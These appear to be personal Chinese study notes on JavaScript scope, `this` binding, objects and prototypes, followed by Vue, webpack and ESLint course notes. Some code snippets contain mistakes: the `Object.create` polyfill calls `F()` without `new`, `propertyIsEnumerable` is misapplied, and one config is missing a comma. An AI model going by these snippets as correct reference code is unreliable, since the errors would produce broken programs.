基于函数的模块并不是一个能被稳定识别的模式(编译器无法识别的),它们的API语义只有在运行时才会被考虑进来。因此可以在运行中修改一个模块的API。 + 相比之下,es6模块API更加稳定(API不会在运行时进行修改)。编译期会检查导入的模块API是否存在,如果API不存在,编译器会在运行时抛出一个或多个“早期”错误。而不会像无偿一样在运行期采用动态的解决方案。 ````js module foo from "foo"; foo.sayHello(); ```` + 模块模式主要有两个特征:(1)为创建内部作用域而调用了一个包装函数;(2)包装函数的返回值必须至少包括一个对内部函数的引用,这样就会创建涵盖整个包装函数内部作用域的闭包。 ### 附录A 动态作用域 ````js function foo(){console.log(a)} function bar(){var a=3; foo();} var a=2; bar();//2 //因为foo虽然是在bar函数内部调用的,但它定义的作用域是在全局作用域,所以只能取到全局的a。(闭包) ```` + 如果javascript具有动态作用域,理论上,上面代码输出3,而不是2。在动态作用域中,因为在bar中调用了foo,所以foo就可以访问bar的作用域,当foo中没有a,就会顺着作用域找到bar中的a。 + 实际上javascript不具备动态作用域,它只有词法作用域。但this机制某种程度上像动态作用域。 + 主要区别:词法作用域是在写代码或则说定义时确定的,而动态作用域是在运行时决定的。(this也是关注函数如何调用)词法作用域关注函数在何处声明,而动态作用域关注函数在何处调用。 ### 附录B 块级作用域的替代方案 + 考虑下面的代码在es5怎么实现 ````js { let a=2; console.log(a);//2 } console.log(a);//ReferenceError //如何能在es5中实现呢?可以考虑catch 其实自调用函数也是可以的 try{throw 2;}catch(a){console.log(a)}; console.log(a)//ReferenceError ```` + Traceur + Google维护着一个名为Traceur的项目,该项目可以将ES6转换成兼容es6之前的环境(大部分是es5,但不是全部) + Traceur转换后的代码片段 ````js { try{throw undefined;} catch(a){ a=2; console.log(a); }; } ```` + 隐式和显示作用域 + 用let将变量附加在一个已经存在的块级作用域上的行为是是隐式的。在开始和修改中的过程中,如果没有密切关注哪些块作用域中有绑定的变量,并且习惯性的移动这些块或则将其包含在其它块中,将导致代码混乱。 + 两种显示创建块 ````js if(foo){ {//《--显示的块 let bar=foo*2; console.log(bar); } } //同隐式劫持一个已经存在的作用域不同,let声明创建一个一个显示的作用域并与其进行绑定。显示作用域不仅更加突出,在代码重构也表现的更加健壮。 //这样更任意判断变量属于哪个作用域。但下面let声明并不是包含在es6中。推荐使用上面一种。 let(a=2){ console.log(a);2 } console.log(a);RefereceError ```` + 性能 + try/catch性能确实很差,但Traceur团队已经要求Chrome对它的性能进行改进了,他们有充分的理由进行改进。技术上不是限制try/catch性能的原因,它也没有理由一直差下去。IIFE和try/catch并不是完全等价的,其中的this,return,break,continue都会发生变化。所以IIFE并不是一个很好的解决方案。 +IIFE(自调用函数) ### 附录C this词法 + es6的箭头函数和普通函数在处理this的指向是不一样的,箭头函数会把当前词法作用域覆盖this本身的值。(也可以使用绑定或则变量selt存储当前词法作用域的this进行使用) ````js var obj={ id:"tttt", cool:function coolFn(){ var selt=this; setTimeout(() => { console.log(this.id); },100) } } obj.cool(); ```` ## this和对象原型 ### 关于this + 为什么要使用this?可以把显示传参替代为隐式传参。this提供了一个更加优雅的方式来隐式“传递”一个对象的引用。 ````js function identify(){ return this.name.toUpperCase(); } function speak(){ return "hello i`m "+identify.call(this); } var obj={name:"zsn"} console.log(identify.call(obj)) console.log(speak.call(obj)) ```` + 两者this的误解:1)指向函数本身。2)this指向函数的作用域,虽然在某些情况下是正确的,但其它情况下确实错误的。 + this到底是什么:this是在运行时进行绑定的,并不是编译时绑定,它的上下文取决于函数调用的各种条件,this的绑定和函数声明的位置没有任何关系,取决于函数的调用方式。 - 当一个函数被调用时,会创建一个活动记录(也称执行上下文)。这个记录会包含函数在哪里调用(调用栈),函数的声明方法,传入的参数等信息。this也是记录中的一个属性,会在函数执行的过程中用到。 ### this的全面解析 + 函数this的四种绑定 - 默认绑定:函数不带任何修饰进行绑定,只能是默认绑定,绑定的对象为window;在严格模式下默认绑定的对象为undefined。 - 隐式绑定:调用位置是否有上下文对象,或则说被某个对象拥有或包含。调用位置会使用obj的上下文,可以说函数被调用的对象“拥有”或则“包含”它。 对象属性引用链只有最顶层或则说最后一层会影响调用位置。 ````js function foo(){ console.log(this.a); } var obj={ a:2, foo:foo } obj.foo(); ```` + 隐式丢失:隐式绑定的函数会丢失对象,也就是会回到默认绑定。 ````js function foo(){ console.log(this.a); } var obj={ a:2, foo:foo } function fun(fn){ fn(); } var a=3; fun(obj.foo);//3 本质上传入的是一个函数,和这个对象无关了 ```` - 显示绑定:在调用函数时指定这个this,入call,apply。 + 隐绑定 本质上就是Function.prototype.bind()方法。 ````js function bind(obj,fn){ return function () { return fn.apply(obj,arguments); } } function foo(){ console.log(this.name); } var obj={ name:"zsn" } function fn(fun){ fun(); } fn(bind(obj,foo)); ```` + API调用的“上下文”:第三方库,已经js语言和宿主环境中有许多内置对象,通常被称为“上下文“(context),作用和bind()一样。 ````js function foo(item) { console.log(item,this.id); } var obj={ id:"sdfsd" } var arr=[1,2,3]; arr.forEach(foo,obj); ```` - new绑定:实际上并不存在”构造函数“,只有对于函数的”构造调用“;使用new来调用函数时,会构造一个新对象并把它绑定到函数调用的this上。 - 判断this:new绑定》显示绑定》隐式绑定》默认绑定。 - 被忽略的this,指向默认 两种用法:1)展开数组,2)参数柯里化(预先设置有些参数); + 但是总是使用null来忽略this的绑定可能产生一些副作用。如果某个对象确实用到了this(如第三方库的一个函数),那默认绑定会把this绑定到全局对象。这将导致不可预计的后果(比如修改全局对象)。 + 更安全的this,传入一个特殊对象:Object.create(null),就是一个空的非委托的对象。它和{}很像,但不会创建Object.prototype这个委托,所以它比{}更空。 ````js //展开数组 在es6中foo(...[2,3]);可以展开函数 function foo(a,b){ console.log("a:"+a+";b:"+b); } foo.apply(null,[2,3]); //柯里化 var bar=foo.bind(null,"zsn"); bar("clj"); ```` - 软绑定(完善了显示绑定(硬绑定)不能再修改绑定对象的问题):对当前函数进行绑定一个默认的对象,并返回一个新函数。如果使用隐式绑定或则显示绑定,都可以修改这个新函数的绑定对象,但如果调用新函数时发现this指向是全局,则给这个新函数绑定默认对象。 ````js if(!Function.prototype.softBind){ Function.prototype.softBind=function(obj){ // 获取当前软绑定的函数 var fn=this; //捕获所有curried参数 var curried=[].slice.call(arguments,1); var bound=function(){ return fn.apply( // obj为默认的对象,如果this不存在或则为全局对象则用默认对象,否则则用本身的对象 (!this||this===(window||global))? obj:this, //获取参数合并成一个整体 curried.concat.apply(curried,arguments) ) }; //创建一个当前软绑定对象原型对象的副本 bound.prototype=Object.create(fn.prototype); return bound; } } function foo(){ console.log("name:"+this.name); } var obj={name:"obj"},obj1={name:"obj1"},obj2={name:"obj2"}; var fooOBj=foo.softBind(obj); fooOBj();//obj obj1.foo=foo.softBind(obj); obj1.foo(); //obj1 fooOBj.call(obj2); //obj2 setTimeout(obj1.foo,10);//obj ```` - this词法 + 箭头函数是没有办法使用上述四条规则的。=>是根据外层的词法作用域(函数或全局)来决定this,具体的说,箭头函数会继承外层函数调用的this的绑定(无论this绑定的是什么)和es6之前的var self=this一样。箭头函数this无法修改(new也不行) ## 对象 ## 内置对象 + typeof检查null为Object的原因:不同的对象再底层都表示为二进制,在javascript中二进制前三位为0的会被判断为object类型,null的二进制表示为0,自然前三位也是0,所以执行typeof时会返回”object“。 + null和undefined只有字面量形式,而Date只有构造形式。 + 对于Object,Array,Function,RegExp来说,无论使用构造形式,还是字面量形式,他们都是对象,不是字面量。 + es6增加了可计算属性名 ````js var str="dt"; var obj={[str+"name"]:"zsn",[str+"age"]:"18"}; ```` + 复制对象 - 对于JSON安全(可以被序列化为一个JSON字符串)的对象来说,有一种巧妙的方法: ````js var newObj=JSON.parse(JSON.stringify(someObj)); ```` - es6定义了一个浅复制方法:Object.assign()方法第一个参数是目标对象,之后可以是一个或多个源对象。并且返回目标对象。 +属性描述符 - Object.getOwnPropertyDescriptor(obj,"key") 返回一个对象,这个对象是对obj对象key属性的描述。writable(可写),enumerable(可枚举)和configurable(可配置) - Object.defineProperty 可对属性设置属性描述符 - 只要属性是可配置的,就可以通过Object.defineProperty方法来修改描述符。把configurable修改为false为单向操作,无法撤销!除了无法修改外,还不能删除设置了configurable为false的属性。 - 一个小小例外:设置了configurable为fasle,可以把writable状态由true改为false,但是无法把false改为true。 ````js var myObject={a:2}; Object.getOwnPropertyDescriptor(myObject,"a") //configurable:true //enumerable:true //value:2 //writable:true var myObject={}; Object.defineProperty(myObject,"a",{ value:3,writable:false,configurable:true,enumerable:true}) ```` + 不变性 - 禁止扩展 Object.preventExtensions(); - 密封 Object.seal();在禁止扩展的基础上把现有属性标记configurable:false - 冻结 Object.freeze();在密封的基础上把现有描述符writable:false。 ````js //禁止一个对象添加新的属性并且保留已有属性。 var myObject={a:2}; Object.preventExtensions(myObject); myObject.b="dsf"; myObject.b //undefined ```` + 对象默认的[[Put]]和[[Get]]操作分别对应着属性值的设置和获取。 ````js var myObject={ get a(){ return this._a_; }, set a(val){ this._a_=val*2; } } myObject.a=2; console.log(myObject.a); ```` + 判断对象中是否存在属性的两个方式: - in操作符实际上是检查是否存在键,对数组尤其重要,判断的是索引、 - Object.keys()和Object.getOwnPropertyNames()都只会检查对象上是否存在属性,不查找原型链。 ````js var obj={name:"zsn"}; ("name" in obj);//in会检查原型链 obj.hasOwnProperty("name") //只会检查对象中是否有 4 in[2,3,4] //false obj.prototype.propertyIsEnumerable("name") //true 判断属性是否可枚举 Object.keys()//返回可以被枚举的键数组 Object.getOwnPropertyNames()//返回一个数组,包含所有属性 ```` + 遍历 - es6新增了遍历数组(如果对象本身定义了迭代器也可以遍历数组) for of 直接遍历值,不再只能遍历数组下标(或则对象属性)。 - for..of循环首先会向被访问对象请求一个迭代器,然后通过调用迭代器对象的next()方法来遍历所有的返回值。 - 数组有内置的@@iterator,因此for..of可以直接作用于数组。使用内置的@@iteratir来手动遍历数组。 ````js var myArray=[1,2,3]; var it=myArray[Symbol.iterator]();//ES6符号Symbol.iterator来获取对象的@@iterator内部属性 //@@iterator并不是一个迭代器对象,而是可以返回一个迭代器对象的函数。 it.next() //{value: 1, done: false} it.next() // {value: 2, done: false} it.next() //{value: 3, done: false} it.next() // {value: undefined, done: true} //可以给任何一个想遍历的对象手动定义一个迭代器 var myObject={ a:2, b:3 } Object.defineProperty(myObject,Symbol.iterator,{ enumerable:false, writable:false, configurable:true, value:function(){ var o=this; var idx=0; var ks=Object.keys(o); return{ next:function(){ return{ value:o[ks[idx++]], done:(idx>ks.length) } } } } }) var it =myObject[Symbol.iterator](); console.log(it.next()); console.log(it.next()); console.log(it.next()); for (var value of myObject) { console.log(value); } //使用了Object.defineProperty定义了自己的@@iterator,把符号位当作可计算属性名。 此外,也可以直接在定义对象时进行声明。 var myObject={ a:2, b:3, [Symbol.iterator]:function(){ var o=this; var idx=0; var ks=Object.keys(o); return{ next:function(){ return{ value:o[ks[idx++]], done:(idx>ks.length) } } } } } ```` ## 混合对象类 ## 原型 - 对原型上的属性设置了禁止修改的属性描述,那么和它关联的对象的该属性也不能修改,需要的时候只能从原型上获取,不能覆盖原型上的这个属性。 - (原型)继承 + 使用Object.create()可以创建一个新的对象,这个对象会指向原型(参数)对象(新对象有一个_proto_属性),和组合寄生继承原型的方式类似。但本身没有constructor。 + es6增加了一个可以关联原型的方法:Object.setPrototypeOf(Bar.prototype,Foo.prototype);可以直接给子类原型加一个_proto_关联。 + Object.create()方法会带来轻微性能损失(抛弃的对象需要垃圾回收),但它比es6及其之后的方法更短而且可读性更高。 ````js function Foo(name){ this.name=name; } Foo.prototype.myName=function(){ return this.name; } function Bar(name,label){ Foo.call(this,name); this.label=label; } //丢失了Bar.prototype.constructor Bar.prototype=Object.create(Foo.prototype); Bar.prototype.myLabel=function(){ return this.label; } var a=new Bar("a","obj a"); console.log(a.myName()); console.log(a.myLabel()); console.dir(Bar.prototype); ```` - 检查“类”的关系 + instanceof操作符左边是一对象,右边是一函数。instanceof检查的是,左侧对象的原型链中有没有一个canstructor指向右侧函数的。 + Object.prototype.isPrototypeOf()判断在当前对象的原型链中是否有构造函数的原型。 + Object.getPrototypeOf()可以获取一个对象构造函数的原型 - 创建关联 + Object.create就是让tt有一个_proto_指向了aa(把aa当成了原型对象)。使两个对象关联起来了 + Object.create是在es5新增的函数,es5之前的环境如果需要支持这个功能要使用一段简单的polyfill代码,它部分实现了Object.create功能 ````js var aa={age:18}; var tt=Object.create(aa); //polyfill if(!Object.create){ Object.create=function(o){ function F(){}; F.prototype=o; return F(); } } ```` - 小结 + 虽然这些JavaScript机制和传统面向类语言中的“类初始化”和“类继承”很相似,但JavaScript中的机制有一个核心区别,那就是不会进行复制,对象之间是通过[[Prototype]]链关联的。相比继承,委托是一个更合适的术语,因为对象之间的关系不是复制而是委托。 ## 行为委托 - JavaScript中原型链这个机制本质上就是对象之间的关联关系 - 委托理论 + 相对于面向对象,这种编码风格称为“对象关联”,委托行为意味着某些对象在找不到属性或则方法引用时会把这个请求委托给另一个对象。这是一种极其强大的设计模式,对象并不是按照父类到子类的关系垂直组织的,而是通过任意方向到的委托关联并排组织的。 ````js var Task={ setID:function(ID){this.id=ID;}, outputID:function(){console.log(this.id)} } var xyz=Object.create(Task); xyz.prepareTask=function(ID,Lable){ this.setID(ID); this.lable=Lable; } xyz.outputTaskDetails=function(){ this.outputID(); console.log(this.lable); } xyz.prepareTask("18","clj"); xyz.outputTaskDetails(); ```` <file_sep>//如果需要载入自己写的文件,路径必须采用点开头的路径 const cal= require('./calculator') //模块内部定义的成员只能在模块内部使用, //除非挂载到全局对象上(global)。最好不要这样做,因为会污染全局作用域。 //module 就是模块上下文 exports console.log(cal.add(2,3));<file_sep><title>vue</title> ## vue基本语法和webpack初级(8.4) 1. vue是一个渐进式框架,关注视图层 2. 组件 高度的封装 3. 虚拟DOM树,Virtual Dom就是在js中模拟DOM对象树来优化DOM操作的一种技术或思路 #### webstrom配置 1. 推荐使用webstrom2016 2. vue智能提示配置 - File>Settings>Plugins=>vue.js(Browse repositories...) - File>Settings>Languages&Frameworks>ECMAScript 6 - Editor>File and Code Templates(在File Types查看是否配置成功)>+ ![](./img/snipaste_20170804_191058.png) ### vue基本语法 1. vue基本使用 ```js <!--引入vue.js文件--> <script src=vue.min.js></script> <!--我们在html页面留了个坑--> <div id="app"> {{ msg }} </div> <script> // 创建vue的一个实例化对象 var vm = new Vue({ el:'#app', data:{ msg:'欢迎来到vue课程' } }) </script> ``` 2. v-model和v-text,v-html ```js <!--v-model是双向绑定的--> <!--v-model是vue中唯一一个双向绑定的,其他的都不是--> <input v-model="title" type="text"> <!--v-text一般用于除了input以外的其他标签--> <span v-text="msg"></span> <!--v-html一般用于解析html--> <div id="app"> <span v-html="msg"></span> </div> <script> var vm = new Vue({ el: '#app', data: { msg: '<h1>天气不错</h1>' } }) </script> ``` 3. v-bind对标签属性值进行绑定,两种写法 ```js <div id="app"> <a v-bind:title="tip" v-bind:sdjfoisodifwfe="tip">这是个a标签</a> <!--v-bind的简写形式--> <a :title="tip">这是个a标签</a> </div> <script> var vm = new Vue({ el:'#app', data:{ title:'可以出去玩', tip:'这是个title' } }) </script> ``` 4. v-on绑定事件,两种写法 ```js <div id="app"> <!--v-on一般是进行事件处理的--> <button v-on:click="btnClicked">按钮</button> <!--v-on有一个简写形式--> <button @click="btnClicked"></button> </div> <script> // 这样写可以接收到事件,但是不推荐这样写 // function btnClicked() { // alert(1) // } var vm = new Vue({ el:'#app', data:{ title:'我很高兴来到这里' }, methods:{ btnClicked(){ alert(2) } } }) </script> ``` 5. v-if隐藏后连代码都没有了,只留下一个注释占位符;v-show 隐藏后代码还在,只是设置display:none ```js <div id="app"> <span v-if="isTrue" v-text="msg"></span> <!-- <span v-show="isTrue" v-text="msg"></span> --> <button v-on:click="click">按钮</button> </div> <script> var vm = new Vue({ el:'#app', data:{ msg:'天气不错', isTrue:true }, methods:{ click(){ this.isTrue = !this.isTrue } } }) </script> ``` 6. v-for三种用法 ```js <div id="app"> <!--v-for的第一种用法--> <ul> <li v-for="item in names"> {{item}} </li> </ul> <!--v-for的第二种用法--> <ul> <li v-for="(item,index) in names"> {{item}}------{{index}} </li> </ul> <!--v-for的第三种用法--> <ul> <li v-for="(value,key,index) in user"> {{value}}---{{key}}-=---{{index}} </li> </ul> </div> <script> var vm = new Vue({ el:'#app', data:{ names:['狼厂','鹅厂','鸟厂','马厂','数字工厂'], user:{name:'老梅',age:'17.5'} } }) </script> ``` 7. 私有组件和全局组件 - 写在Vue对象中为components私有组件时,组件名称不能大写,名称中可以有-。 - 组件标签在使用时内部不能带有内容,内容会被定义组件时模块中的内容替换。 - 注意:template属性必须给根元素,创建全局组件必须在Vue对象实例化前进行 ```js //私有组件 <div id="app"> <privatecomponent></privatecomponent> </div> <script> var vm = new Vue({ el:'#app', components:{ 'privatecomponent':{ template:'<h1>这是第一个私有组件</h1>' } } }) </script> //全局组件的定义 <div id="app"> <my-component/> </div> <div id="app1"> <my-component></my-component> </div> <script> Vue.component('my-component',{ template:'<my-haha</my-haha>' }) Vue.component('my-haha',{ template:'<h1>my-haha的使用</h1>' }) var vm = new Vue({ el:'#app', }) var vm1 = new Vue({ el:'#app1' }) </script> ``` 8. 私有过滤器和全局过滤器 - 管道前面的输出等于后面的输入,管道符前面的变量输出成为管道符后面函数的输入 ```js //私有过滤器 <div id="app"> {{ msg | toLower }} </div> <script> var vm = new Vue({ el:'#app', data:{ msg:'MSDJFSOIFDWOEIF' }, filters:{ // 实现一个小写转化的过滤器 toLower(input){ return input.toLowerCase() } } }) </script> //全局过滤器 <div id="app"> {{title | toUpper}} </div> <script> Vue.filter('toUpper',function (input) { return input.toUpperCase() }) var vm = new Vue({ el:'#app', data:{ title:'sdojfiodifosdfs' } }) </script> ``` #### router模块和传值:vue-router.min.js ```js <script src="vue.min.js"></script> <script src="vue-router.min.js"></script> <div id="app"> <!--路由传值的方式--> <a href="#/share/2">go</a> <!--router-link是对a标签的封装,推荐使用--> <router-link to="/share/1">go</router-link> <!--router-view路由内容专用填坑--> <router-view></router-view> </div> <script> //全局组件 var share= Vue.component('share',{ data(){ //添加全局临时变量 return { number:'' } }, //这个方法是在当前组件全部加载完成以后调用的方法 created(){ //调用外面传递的值 this.number=this.$route.params.id }, props:['id'], //接收外面传递的值 template:'<h1>我的天啊{{number}}</h1>' //template必须给根元素 }); var rt=new VueRouter({ routes:[ //存放路由信息的数组 {name:'share',path:'/share/:id',component:share} ] }); var vm =new Vue({ el:'#app', router:rt, //关联路由 data:{ title:'静态网站' } }) </script> ``` #### $http异步模块:vue-resource.min.js ```js //get <script src=vue.min.js></script> <script src=vue-resource.min.js></script> <body> <div id="app"> {{title}} <br> <button v-on:click="btnBeClicked">发送get请求</button> <br> {{message}} </div> <script> var vm = new Vue({ el:'#app', data:{ title:'get方法的介绍', message:[] }, methods:{ btnBeClicked(){ // 发送请求 var url = 'http://192.168.3.11:8899/api/getlunbo' this.$http.get(url).then( function (data) { this.message = data.body.message }, function (err) { } ) } } }) </script> // post var url = 'http://192.168.3.11:8899/api/getlunbo' this.$http.post(url,{content:'xxxxxxxx'},{emulateJSON:true}).then( function (response) { }, function (err) { console.log(err) } ) // JSONP this.$http.jsonp(url).then( function (response) { }, function (err) { console.log(err) } ) ``` ### webpack 1. 插件 Plugins 2. 出口和入口的设置 3. 加载器 Loaders 4. 安装(先npm init初始化环境) - 第一步 npm i webpack -g (只要安装一次) + 第二步 npm install webpack --save-dev (创建一个新项目就安装一次) - -dev 开发依赖,打包就不会带这个包 + 第三步 - 在实际开发环境中,存在多个配置,发布和开发以及其它运行不同的配置 - webpack.develop.config.js //开发时候的配置 - webpack.publish.config.js //发布时候的配置 - webpack --config webpack.develop.config.js //运行打包 - webpack.config.js 只有一个配置 cmd中执行webpack就可以了 + 第四部 - 加载器:去git上查找下载安装babel-loader的方法 - 看README.md或者git中查看配置方法。 + 第五步配置config(webpack.develop.config.js) ```js // webpack开发时候的配置文件 const path=require('path') module.exports={ //webpack中的三大亮点之一:入口出口设置 entry:path.resolve(__dirname,'./src/app.js'),//入口 //出口设置,把项目打包的位置 output:{ path:path.resolve(__dirname,'dist'), //导出到指定的文件夹 filename:'tt.js' //导出的文件名 }, //webpack中的第二个亮点:加载器loader module:{ rules:[ // babel-loader的加载器信息 { test: /\.js$/, exclude: /(node_modules|bower_components)/, use: { loader: 'babel-loader', options: { presets: ['env'] } } } ] } } ``` #### 知识点 1. vetur给vscode使用的vue语法提示高亮的插件 2. Moment.js 日期过滤器 3. npm run 名称 --可以直接使用package.json中scripts配置的快捷命令 4. nrm test 测试镜像反应速度 5. 安装webpack的文件夹名字不能叫webpack,程序会认为在webpack中安装webpack会报错 ## 加载器和插件(8.5) ### vue基本的三个组成部分:组件模板,项目入口,承载单页面 1. 引入vue模块前要先下载 - npm i vue --save ```js // 一个拥有独立html,css,js的组件模板app.vue <template> <section> <h1>苍茫的天涯是你的哎</h1> <img src="./images/img1.gif" alt=""> </section> </template> <script></script> <style> h1{ background-color: hotpink; } </style> ``` ```js //项目入口main.js文件 import Vue from 'vue' //导入vue.js import app from './app.vue' //导入vue模板 const vm=new Vue({ el:'#app', //必须使用箭头函数 render:create=>create(app) //渲染到index.html留的坑里 }); ``` ```html <!--进行展示的index.html页面--> <div id="app"> <app></app> </div> <script src="./tt.js"></script> ``` ### 加载器(本质上就是通过一些优化把开发代码转化为发布的代码) 1. vue-loader 1.0配置中可以不写-loader,2.0必须写 2. 加载器在使用前要先进行下载 3. 三种加载器:ES6加载器,css加载器,图片加载器 4. 先执行加载器,然后导入src中的文件,生成后在导出 5. 加载器的两种配置方式,参考图片加载器 ```js const path=require('path'); const webpack=require('webpack'); module.exports={ //webpack中的三大亮点之一:入口出口设置 entry:path.resolve(__dirname,'./src/main.js'), //出口设置,把项目打包的位置 output:{ path:path.resolve(__dirname,'dist'), //导出到指定的文件夹 filename:'tt.js' //导出的文件名 }, //webpack中的第二个亮点:加载器loader // 加载器解析.vue等格式的文件 module:{ rules:[ { //把ES6解析到ES5的加载器 jsx(使代码混编,一个文件中写css,html,js)转化js, test: /\.js$/, exclude: /(node_modules|bower_components)/, use: { loader: 'babel-loader', options: { presets: ['env'] } } }, { //解析vue的加载器 test: /\.vue$/, use: { loader: 'vue-loader' } }, { //解析css的加载器 test: /\.css$/, use: [ 'style-loader', 'css-loader' ] }//解析图片加载器 url-loader , // { // test: /\.(png|jpg|gif)$/, // use: [ // { // loader: 'url-loader', // options: { // limit: 8192 // } // } // ] // } { test: /\.(png|jpg|gif)$/, use:'url-loader?limit=25000&name=images/[name].[ext]' //1byte=8bit(位) bit 小于这个限制则 //把图片转为base64字符串,这个时候可以base64字符串通过css设置背景图片减少图片http请求 } ] } } ``` ### 插件(webpack第三个亮点:插件的使用) 插件分为两种:webpack自带的不需要安装,第三方的需要安装 #### webpack-dev-server(修改项目,打包文件自动更新服务)配置三部曲 本质上通过webpack内置的热更新插件实现 ```js //1.下载 npm install webpack-dev-server --save-dev //2.webpack.develop.config.js 配置 const webpack=require('webpack'); module.exports={ //...省略若干配置 devtool: 'eval', devServer: { contentBase: path.resolve(__dirname, './src'), // 当前服务器监听的路径 hot: true, // 热更新 port:8080, // 定义端口号 host: 'localhost', open:true // 是否自动打开浏览器 openPage:"" //配置open:true时,必须给一个openPage:""默认配置 }, plugins: [ // html-webpack-plugin new webpack.HotModuleReplacementPlugin(), //热更新插件 ] } // 3.package.json配置 //"server":"webpack-dev-server --config webpack.develop.config.js --content-base src" //npm run server ``` #### 压缩插件(一般不用,效果不好),分离第三方包的插件,自动生成html的插件 1. 压缩文件一般使用在命令中加-p,压缩比内置压缩插件效果更好(更小) - "pb": "webpack --config webpack.publish.config.js -p", 2. 自动生成html的插件是第三方插件 - html-webpack-plugin ```js const HtmlWebpackPlugin = require('html-webpack-plugin'); plugins:[ // 压缩插件(一般不用) // new webpack.optimize.UglifyJsPlugin({ // beautify: false, // mangle: { // screw_ie8: true, // keep_fnames: true // }, // compress: { // warnings: false, // screw_ie8: true // }, // comments: false // }), // 分离第三方的插件,不是我们自己写的模块 // 抽取第三方的插件(如vue.js) 所有第三方文件打包的文件 new webpack.optimize.CommonsChunkPlugin({name:'vendors',filename:'vendors.js'}), // 自动生成html的插件 // new HtmlWebpackPlugin({ // title: 'My App', // filename: 'index.html', // template: 'src/index.html', // // }) new HtmlWebpackPlugin({ template: './src/index.html', htmlWebpackPlugin: { "files": { "js": ["bundle.js","vendors.js"] //设置引用的文件,自动生成标签插入html中 } }, // 进行压缩,情怀至上 minify: { removeComments: true, collapseWhitespace: true, removeAttributeQuotes: true } }), ] ``` ### ESLint配置(编码规范) 1. npm install eslint -g (可能需要配置本地 npm install eslint --save-dev) 2. npm install babel-eslint -g(可能需要配置本地 npm install babel-eslint --save-dev) 3. package.json的scripts中配置快捷命令 - "lint": "eslint --ext .js .vue src" 4. 添加自定义代码规范,在全局根目录下添加文件.eslintrc.js - 运行后eslint --init,根目录中将有一个.eslintrc文件 5. 在webpack.develop.config.js开发配置文件中配置 ```js //.eslintrc.js // eslint的语法规则 module.exports = { // 开启推荐配置信息 // "extends": "eslint:recommended", // 默认情况下,ESLint 会在所有父级目录里寻找配置文件,一直到根目录。如果你想要你所有项目都遵循一个特定的约定时,这将会很有用,但有时候会导致意想不到的结果。为了将 ESLint 限制到一个特定的项目,在你项目根目录下的 package.json 文件或者 .eslintrc.* 文件里的 eslintConfig 字段下设置 "root": true。ESLint 一旦发现配置文件中有 "root": true,它就会停止在父级目录中寻找。 "root": true, // 脚本在执行期间访问的额外的全局变量 // 当访问未定义的变量时,no-undef 规则将发出警告。如果你想在一个文件里使用全局变量,推荐你定义这些全局变量,这样 ESLint 就不会发出警告了。你可以使用注释或在配置文件中定义全局变量。 "globals" : { "window":true, "document":true, "$":true }, // 设置插件 // "plugins": [ // 'html' // ], // 设置解析器选项(必须设置这个属性) "parserOptions": { "ecmaVersion": 7, "sourceType": "module", "ecmaFeatures": { "jsx": true, // "arrowFunctions": true, // "experimentalObjectRestSpread": true, // "classes": true, // "modules": true, // "defaultParams": true } }, // 启用的规则及各自的错误级别 "rules" : { // 禁止用console "no-console":2, // 禁止用分号 "semi":[1,'never'], // 在同一个作用域中禁止多次重复定义 //"no-redeclare":1 }, // 指定你想启用的环境 "env": { "browser": true, "node": true }, "parser": "babel-eslint" }; ``` ```js //配置文件(config)配置信息 module.exports={ //。。。。其它各种配置 module:{ rules:[ // eslint-loader的配置信息 // exlint-loader的加载器配置信息 // 配置编码规范的时候需要ES6解析到ES5的加载器配置到其中 { test: /\.js$/, exclude: /node_modules/, use: [ 'babel-loader', 'eslint-loader' ], //webpack配置改了,要修改配置方法 // query: { // cacheDirectory: true // } }, { //只是检查的时候用,调试时候注释 test: /\.vue$/, enforce: 'pre', include: /src/, use: [{ loader: 'eslint-loader', options: { formatter: require('eslint-friendly-formatter') // } }] }, // { //把ES6解析到ES5的加载器 // test: /\.js$/, // exclude: /(node_modules|bower_components)/, // use: { // loader: 'babel-loader', // options: { // presets: ['env'] // } // } // }, //其它配置,各种加载器 ] }, } ``` - MUI-最接近原生APP体验的高性能前端框架 ## mui和mint-ui(8.7) - mui和mint-ui先git把两个项目从githab上克隆下来(根据线上的demo到两个克隆的包里找代码) - 然后npm把两个包下载到项目中。 #### vue模板 ```js <template> </template> <!--scoped:保证样式只在组件内部使用--> <style scoped> </style> <!--让编辑器识别ES6,不报错--> <script type="text/ecmascript-6"> </script> ``` ```js //一个页面级组件script标签中内容 import banner from './Tools/banner.vue' import url from './Tools/Url.js' export default{ data(){ return { banners:[] } }, created(){ this.getBanner() }, methods:{ getBanner(){ this.$http.get(`${url.HTTP}${url.SERVER_PATH}:${url.PORT}/api/getlunbo`).then(rel=>{ console.log(rel) this.banners=rel.body.message },rej=>{}) } }, components: { banner } } ``` ```js //url-loader配置图片和字体解析 { test: /\.(gif|jpg|png|woff|svg|eot|ttf)$/, use: 'url-loader?limit=50000&name=[path][name].[ext]'} ``` ```js //webpack入口js引入模块方式 import vueResource from 'vue-resource' Vue.use(vueResource) ``` - linkActiveClass:'mui-active'路由模块的该属性可以配置选中a标签的类名。 - 打包代码执行顺序:先执行加载器,把内容导入到webpack,执行插件然后导出 - mui代理官网 > http://www.dcloud.io/mui.html - badge 徽标,类似于购物车上的红色小圆(显示数字) - 图片设置环绕,图片过大(不用缩小图片):background-repeat: round; - Mockplus原型设计工具 ## 组件传值,路由传值(8.8) - 组件传值,路由传值 ```js //组件调用传值 <banner :bannerdt="banners"></banner> //组件内部获取值 <script type="text/ecmascript-6"> export default{ //如果是路由传值要使用这种方式获取值使用,如果是组件传值,直接在模板里使用 methods:{ get(){ this.$route.params.id } } //组件传值,路由传值都要通过这种方式接收 props:['bannerdt'] } </script> ``` - 动态生成router-link标签的两种方法 ```html <router-link :to="{name:'newsinfo',params:{id:item.id}}"> <router-link v-bind='{to:"/newsDetail/"+item.id}'> ``` - 好用的日期过滤器:momentjs - IM即时通讯(网易云) - face++人脸识别服务 - ping++可以简便使用多种支付方式的开发者平台 - white-space: nowrap;文字不换行 ## 图片详情页,商品列表页(8.10) - ref:获取修改表单原生的值 ```js <textarea placeholder="请输入评论内容"></textarea> //this.$refs.textArea1.value ``` - 假请求:当配合安卓或ios开发的时候,需要调用底层(如拍照),这个时候可以发送一个请求,让安卓的同事去实现功能。 - vue-picture-preview 图片预览组件,组件标签要放在图片的上方。 ```js export default{ data(){ return{ isBack:true } }, methods:{ back(){ //路由对象,回撤 this.$router.go(-1); } }, //监控一个对象 watch:{ //url对象 '$route':function (newValue,oldValue) { if(this.$route.path==="/home"){ this.isBack=false; }else { this.isBack=true; } } }, //注册页面所要用到的组件 components:{ banner }, } ``` + style的scoped独立样式作用域 - 